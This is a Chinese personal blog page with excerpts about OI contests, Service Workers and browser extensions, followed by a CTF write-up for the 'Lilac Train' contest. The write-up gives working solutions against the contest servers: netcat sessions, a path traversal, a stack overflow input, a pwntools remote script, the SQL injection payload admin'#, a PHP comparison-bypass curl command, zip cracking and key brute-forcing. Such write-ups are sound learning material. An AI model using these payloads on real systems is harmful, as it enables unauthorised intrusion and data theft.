村庄外有大世界 – OI 回忆录

0 序

对我个人而言,我的 OI 生涯并不美满。

但同样,他也是我不可割舍的,难以忘怀的青春。

在百日誓师的时候,台上的教师代表说起你们的青春年华都在教学楼里时,我突然想起,我的青春年华都给了小机房。

Continue reading “村庄外有大世界 – OI 回忆录”

折腾小记 – Service Worker

0 序

退役了,文化课了。于是每天写代码的时间连 20min 都没有了。

但我还是想写!那就整点乐子吧

1 Service Worker

The service worker is designed first to redress this balance by providing a Web Worker context, which can be started by a runtime when navigations are about to occur. This event-driven worker is registered against an origin and a path (or pattern), meaning it can be consulted when navigations occur to that location. Events that correspond to network requests are dispatched to the worker and the responses generated by the worker may override default network stack behavior. This puts the service worker, conceptually, between the network and a document renderer, allowing the service worker to provide content for documents, even while offline.

https://www.w3.org/TR/service-workers/#motivations

翻译一下就是

Service Worker 提供了一种在请求前进行处理的 Web Worker。开发者可以通过此技术来拦截并修改每一个请求,并通过访问缓存等方式实现在网络较差甚至离线情况下对网页的访问。

Continue reading “折腾小记 – Service Worker”

NOI 2022 游记 SP – 上海之旅

漫天闪烁的繁星
伴着我独自前行
越过光年的距离
照亮我的眼睛

化作繁星

0 启程

上海,中国对外开放的中心。

这场上海之旅来之不易。伴随着紧急疏散的要求,我和抹茶和 dyf_dyf 一同打的前往花桥,乘坐上海轨道交通 11 号线,前往上海。

Continue reading “NOI 2022 游记 SP – 上海之旅”

NOI 2022 游记

0 序

今年是最感到时间如白马过隙的。每天窝在机房看自己不会的东西,每天都在想明天要学什么新的东西,然后日子就一天天的过去了。

想学的东西还没有学完,CCF 要求所有选手先到昆山的通告倒是先来了。不管如何,参赛为重,只得踏上前往昆山的旅途。

1 愉快的七天

因为雅礼人的高铁经过温州 & 他们订票的时候也没带上我,我就自己整了个别的列车。

在 08 月 13 日到达的昆山。

一到昆山就跑去找 dyf_dyf 和 Lucky_Yukikaze 聊天。

整理一下情况是几乎整个新疆省队都在一起(除了 Arachv)。接下来的日子就很简单了,蜜雪冰城,Among us,写模版,聊天。

简单欢乐的日子永远过的很快,眨眼见就到了 20 号。

Continue reading “NOI 2022 游记”

XJOI 2022 游记

-1 序

寄啦,哈哈。

今年是新疆维吾尔自治区第一次组织省选。

今年有很多神奇的事情,比如特派员换了,新疆成立竞赛组委会了,办省选了,有 $\frac{1}{3}$ 了,有实体 NOI Linux。当然也不都是好事,疫情精准防控的代表上海已经被奥米克戎攻陷,全国疫情更是此起彼伏,见不到头。这种情况下信息学竞赛还能基本上「出淤泥而不染」,维持较为正常的赛季流畅已是相当不易。

在疫情的限制下,XJOI 最终未能选择新疆大学作为考点,而是选择了一所高中 — 乌鲁木齐市第一中学。

Continue reading “XJOI 2022 游记”

NOI 2021 游记

为了适应传统的 Day1 Day2 定义,本文中 Day 1 为 2021/07/26,Day1.5 为一个地球日。

0 Day -3

正睿提供了一场信心赛,打开发现是大家都做过的题目,便回去看各自之前做过的题目了。

中午去忆九家吃的饭,恍惚间发现是可能最后一顿在忆九家吃饭,心情竟有点沉重。怀着敬重的心情吃完了这顿饭。

下午则是看看题目顺便唆使还在新疆的选手快跑,结果催着催着 CCF 突然发通知要求 07/23 到校。

走之前大家都拍了几张照

Continue reading “NOI 2021 游记”

笔记 — 如何快速的配置一台新手机到我想要的样子

0 事出有因

因为老手机被拿来腾讯会议了,加之确实也算得上时代的眼泪了(

所以换了一台 Redmi K30 5G picasso

那么,开始迁移吧

1 选择 ROM

拿老账号一下就解锁了,没有等待时间,赞美小米

到 XDA 论坛上看一眼没有什么坏处

目测这个手机没有什么好包,Lineageos 都只有一个 alpha 的非官方版,还是 3 个月前的产物了… 详情看这个帖子

不过有一个 eu 版的 miui 包,走起 在这个帖子里

事实上 CN 版的 MIUI 也不错,不过人在 CN 身不由己。我相信小米有保护用户信息的决心(至少 MIUI 12 中可见一二),但是不清楚小米能不能做到。

而且 EU 版有 Google 全家桶,so why not?

Continue reading “笔记 — 如何快速的配置一台新手机到我想要的样子”

随记 – Firefox 扩展

0 事出有因

之前手滑执行了一次命令,导致 Firefox 的配置文件没了

然后操作失误,把云端备份的插件列表搞没了

万幸的是目前整理到的损失似乎只有这些,那就顺便整理一下自己的插件吧

1 插件

1.1 美化

事实上,Firefox 默认主题挺好看的

配合 Arc Theme 可以得到更好的显示效果,何乐而不为

Firefox 默认的标签页有点单调。啥都不显示没意思,显示的东西又没啥用……

所以使用 Tabliss 是一个不错的选择

1.2 标签页

当你标签页血多的时候,Firefox 会在标签栏提供一个滚动条

虽然很人性化,但是明显不够用啊

使用 OneTab 可以归档标签页。毕竟一般开那么多个标签页,真正在用的也没几个

使用 Tree Style Tab 可以给以树形结构管理标签页,改变线性的标签页整理方式

1.3 屏蔽一些恼人的东西

uBlock Origin

广告屏蔽,比 AdblockPlus 快多了

uBlacklist

配合 cobaltdisco/Google-Chinese-Results-Blocklist 使用,可以在 Google 屏蔽掉大部分 SEO 站

什么时候中文互联网的 SEO 站能少一点

1.4 功能扩展

Violentmonkey

暴力猴,在 https://greasyfork.org/zh-CN 或者是 Github 上搞到脚本后就往这东西里面放

我使用的脚本有这些

To Google Translate

用这个可以通过快捷键直接把选中内容送到 Google Translate 里

Aria2 Download Manager Integration

捕获下载链接,直接传给 Aria2

后台挂两个 Aria2,配合这个使用体验不错

不过,这个插件自带的 webui 不太可用,会自动覆盖设置

不过你都后台挂两个 Aria2 了,顺手搭个 httpd 挂个 Aria2 webui 应该也很简单

1.5 安全性

HTTPS Everywhere

重写一些 http 请求为 https,防止某些网站/运营商耍流氓

Firefox Multi-Account Containers

对于国内的毒瘤,除了独立沙箱,应该没有什么防的住 ta 作恶的

这个插件提供了容器功能,你可以把你觉得不太行的网页每次用指定容器打开

终于不用隐私模式用 Baidu 了

2 一点设置

把性能里的线程调小点

Firefox 的个性化可以避免一堆插件挤在你得地址栏上,毕竟你经常会调整设置的插件也就那么几个

3 为什么使用 Firefox

这个问题实际上是没有答案的,浏览器这种东西比较偏个人。你喜欢那个,那个就是对的

不过这里还是给几个理由

Firefox 曾经是比 Chrome 资源占用少很多。

不过现在 Firefox 也用默认多线程了,这个优势虽然还有一点,但也不算多了

所以找几个这之外的理由

  • 隐私,像比较 Chrome 这种商业公司搞出来的东西,Firefox 在隐私上面要优秀很多
  • 便捷,Google 账号同步比 Firefox 的账号同步困难不少
  • 为用户着想,至少不会像 Chrome 一样说搞广告屏蔽器就搞,说砍什么就砍

出于时间原因,没有能力给这几个理由找依据

如果你不相信我的话,那么关闭这个页面就好

Lilac Train Writeup

0 写在之前

应该是一场新手入门欢乐赛

打着也确实快乐,应该是我 CTF 比赛第一次做出 Oi 之外的题目

绝大多数知识点都在 CTF Wiki 上,剩下就是脑洞了

管他呢,mcfx txdy!

1 PWN

1 坤坤の地址

同志,用 Linux!

然后就是 nc 一把梭

$ nc 47.94.239.235 4001
welcome to Lilac@HIT
Here is kunkun's address:
flag{zonghelou_714}

2 坤坤の唱

放进 IDA 去,一看,就是打开 $signer/$music,不允许你写 ../

然后 Hint 告诉你要访问 ../flag

然后就是傻逼题目了

nc 47.94.239.235 4002
input the singer's name:
..
input the song's name:
/flag
here is the lyric:
flag{w0w_you_successfully_escape_the_r3strict}

3 坤坤の石头剪刀布

打开一看,发现 rand() 函数的种子是 time()%10

那为什么要动脑子,写个种子是 0 的情况

试一下就行了

#include <cstdio>

int num = 0;

int myRand() {
    num = (num * num + 233) % 23333;
    return num;
}

void mySrand(unsigned int seed) {
    num = seed;
}

int playOnce() {
    fflush(stdout);

    int ai = myRand() % 3;

    if( ai == 0)
        return 1;
    if( ai == 1)
        return 2;
    if( ai == 2)
        return 0;
}

int main() {
    mySrand(1);
    int n = 100;
    while( n -- ) {
        printf( "%d\n", playOnce() );
    }
}

然后直接拿输出日服务器就行了

4 坤坤の篮球

题目给了二进制,大力 IDA

IDA 告诉我们 Hint,是根据 Target 位移出来的东西

简单的分析可以发现,基本上就是 8 位一截

然后写个程序大力草就行了

basket.cpp:

#include <cstdio>

#include <iostream>

int n;

int read() {
  int x = 0, w = 1; char ch = 0;
  while (ch < '0' || ch > '9') {  if (ch == '-') w = -1; ch = getchar(); }
  while (ch >= '0' && ch <= '9') { x = x * 10 + (ch - '0'); ch = getchar(); }
  return x * w;
}


int main() {
    while(1) {
        n = read();
        int u1 = ( 1 << 8 ) - 1;
        int tmp1 = n & u1;
        n >>= 8;
        int tmp2 = n & u1;
        n >>= 8;
        int tmp3 = n & u1;
        n >>= 8;
        int tmp4 = n & u1;

        int res = tmp1;
        res <<= 8;
        res |= tmp4;
        res <<= 8;
        res |= tmp2;
        res <<= 8;
        res |= tmp3;
        printf( "%d\n", res );
    }
}

//-1897606077
// 00011101110010011010100010000110./basket.run  0.00s user 0.00s system 0% cpu 2.026 total
// 
// Press ENTER or type command to continue
// 1133434084
// 10000111000111011010100111001000./basket.run  0.00s user 0.00s system 0% cpu 0.656 total
//
// 00011101 11001001 10101000 10000110
// 10000111 00011101 10101001 11001000
// 10001001 00011101 10101011 11000110

temp.py:

#!/usr/bin/python

from pwn import *

sh = process( './basket.o' )
rem = remote( "47.94.239.235", "4003" )

rem.recvline()
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )

for i in range (1,90):
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    sh.sendline( rem.recvline() )
    rem.sendline( sh.readline() )

rem.interactive()

事后发现基本上随便乱输入就可以得到 flag

毕竟是 pwn 题

5 坤坤のrap

放到 IDA,读入量比字符串定义的多

直接多放点就过去了

$ nc 47.94.239.235 4004
请开始你的表演:
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
ncongrats, here is the flag
flag{stack_0verflow_is_annoying!!}
tql!!!

6 坤坤の舞

和上面的题目一样,都有溢出的漏洞

执行 get_flag() 函数应该会输出 Flag

那 pwntool 直接草就行了

扩展阅读: 栈溢出原理 – CTF Wiki

7 坤坤の绝地反击

和上面一样,还是溢出,但是这次要带个参

然后我直接按普通堆做

全然没有注意开了 NX 保护…

后来给了个 Hint

那就是大力 ROP 搞就行了

扩展阅读: 基本 ROP – CTF Wiki

2 RE

1 basicre1

逐位 Xor 加密,直接解

2 basicre2

代码就是对着 char 瞎jb位移

然后倒推一下,输出,没了

当时写了个 cpp 还原的,找不到了,不过本来就是签到题,不管了

3 basicre3

代码注释里表明这是个算法

目测 TEA 及其变种

网上找个解密的,没了

4 babyre

IDA 后基本上可以发现这是个 RC4 加密算法

然而我赛后才发现

想个办法把里面东西倒出来

发现程序调用了 memcmp,LD_PRELOAD 可以套到目标密文

RC4 具有自反性,在把目标密文放进去,得到明文,也就是 Flag

5 hundred

赛后 mcfx 爷提醒是个数组,还是个巨大线性方程组

我拿 IDA 打开,然后得到了一大堆 if 包裹的条件判断

Vim 随便处理一下就可以变成 z3 的 solve 函数的参数

然后放到 z3 里跑就行了

如果直接用 .model() 输出会输出不全,手动 .model().eval()

脚本太大了,这里是链接:https://blog.woshiluo.com/wp-content/uploads/2020/05/libac_re5.zip

我怎么写的这么多行?

Vim 宏真好用

3 WEB

这次的 WEB 题相比较别的真的好欢乐…

1 F12

curl -v 或者直接 F12 看 Header

2 i18n

extract 会覆盖变量,考虑覆盖 language_file

没了

3 ezsql

签到题,payload 是 admin'#

4 ezsql again

查看页面原码,得到 login.php.bak

发现 SQL 注入可能性基本为 0

我们可以使 $dbpassnull

发现进来的 $password 没有验证,不传就行了

5 where is flag?

题目给了任意读,但是扬了 flag

可惜 file 被 open 了,我们可以在 procfs 里找到

但是我们并不知道 pid

所以用一个科技 /proc/self

没了

6 ez_bypass

感觉这个比上一道简单

  • php md5 碰撞
  • php == 符号不需要相等
  • json_decode 后面会覆盖前面的

构造一下

curl http://47.93.34.105:8081/\?s\=QNKCDZO\&t\=240610708 -d 'pw=20200501", "password": "shouhukunkun'

没了

7 是什么蒙蔽了你的双眼

我确实菜

对着题目给的参数 base64 -d 三次,得到 flag.jpg

猜测参数就是查询套三次 base64

然后试图获取 index.php

发现替换了非字母且非.为空
替换 config!

扫描 .index.php.swp

提示看 f1lllaggg!lilac.php

然后代码审计 f1lllaggg!lilac.php

要么 extract 魔改 t,要么直接传空 t 可以过非严格判断

所以那个链接是干什么的,迷惑

4 CRYPTO

这次的比赛激起了我对 Crypto 的兴趣

前五题都是工具题目,没啥说的

合理运用 CyberChef 和 Wikipedia 即可

6 单表替换

https://quipqiup.com/ 爆破即可

7 CH₃COOH

题目说是原题,直接拖 Google

实际上是 Vigenère 密码,和醋酸的英文名几乎一样

然后找个工具爆破就没了

8 三天之内

查看源码,发现使用 Unix 时间戳做密码

Unix 时间戳就那么多,写个爆破就行了

from Crypto.Cipher import AES
#from secret import flag
import time
from hashlib import md5
import base64

time = int(time.time())
while 1:
    time = time - 1
    key = md5(str(time).encode()).digest()
    aes = AES.new(key, AES.MODE_ECB)
    flag = base64.b64decode( 'THM3FOB7PxOgVoI1fGsqQDJLGu41mL9nKCNeMvXzB+l8MFirir0C19YRS/ruDILq')
    outData = aes.decrypt(flag)
    print(outData)

跑个 30s,在输出里搜索一下 flag 就行了

9 神必 base64

基本上就是 b64 变种

映射一下就行了

#include <cstdio>

char mp[1000];

int main() {
    FILE* qwq = fopen( "qwq", "r" );
    FILE* cip = fopen( "cipher.txt", "r" );
    char s1, s2;
    while( fscanf( qwq, "%c", &s1 ) !=EOF && fscanf( cip, "%c", &s2 ) ) {
        if( map[s1] != 0 ) 
            continue;
        mp[s1] = s2;
    }
    for( char a = 'A'; a <= 'Z'; a ++ ) {
        if( mp[a] == 0 )
            printf( "0" );
        printf( "%c", mp[a] );
    }
    for( char a = 'a'; a <= 'z'; a ++ ) {
        if( mp[a] == 0 )
            printf( "0" );
        printf( "%c", mp[a] );
    }
    for( char a = '0'; a <= '9'; a ++ ) {
        if( mp[a] == 0 )
            printf( "0" );
        printf( "%c", mp[a] );
    }
    printf( "%c", mp['+'] );
    printf( "%c", mp['/'] );
    printf( "%c", mp['='] );

}

10 RSA – 0

RSA 原理题

直接解就行了

11 RSA – 1

n 变成三个质数相乘了,但是不影响我们解密

import binascii
import gmpy

p = 252647779892687905173761792949656998433
q = 290615416181922737045361451171930371659
r = 281613259213037257262703439109757908501
n = p * q * r
e = 0x10001
# rased = pow(flag, e, n)
rsaed = 1169612223485519024207841670191078798101684935551461601922416127588930439758194701318838707953651437973827125265577

phi = ( p - 1 ) * ( q - 1 ) * ( r - 1 )
inv = gmpy.invert( e, phi )

print(inv)
print(hex(pow( rsaed, inv, n )))

小插曲,我本来手写的 exgcd 求逆元,结果写错了,最后因为不会 py 而选择了 gmpy

5 MISC

1 打工是不可能打工的

题目关于劳动法和基本法的什么东西就先略过了

大家都知道是怎么回事(

然后,StegSolve 直接 Frame 逐个看就行了

2 zip-0

题目说的是 9 位数字密码

这,不就是爆破

虽然事后发现 7zip 可以直接打开,惊了

据说是非预期的错误,笑了

3 zip-1

题目说了 010Editor

那就没什么说的了

4 樱花

strings

没了

5 隐写

仔细看,Red plane 0 左上角一段白

就选择 Red plane 0 通道,LSB 一下,就知道 Flag 了

6 真正的互联网

访问链接即可

7 zip-2

明文破解

pkcrack -c "lilac.png" -p lilac.png -C ./zip-2.zip -P ./lilac-logo.zip -d qwq.zip

没了

8 Yankee with no brim

binwalk 草出来里面的 png

发现 png 的 CRC 有问题

改个 Height,没了

9 大司马与千层饼

我先建议出题人司马

直接 OD 会有一句 You see the string,but it is not so easy...but it's baby! 来嘲讽你

总之 binwalk 套出里面的 7z,解压出来是个 gif,string 里面的 Flag 是 Fake

gif 逐帧草出来两个残缺二维码,补全,扫一下,结果还是 Fake

赛后有 Hint 告诉我们

「你在第二层,你以为他在第五层,实际上他在第一层」

你妈的,直接对 EXE Resource Hacker 得到一个凯撒密码

解出来是个网址,访问是个残缺二维码

补上定位点,扫就得到 Flag

6 Basic

没啥说的,签到

7 结

总之是一场相当快乐的比赛

几乎除了 Web 所有东西都是现学的,这大概就是在线比赛的乐趣吧,没有所谓记忆造成的堡垒

感谢举办方,给了我学习的机会

最后,跟我一起喊,mcfx 天下第一!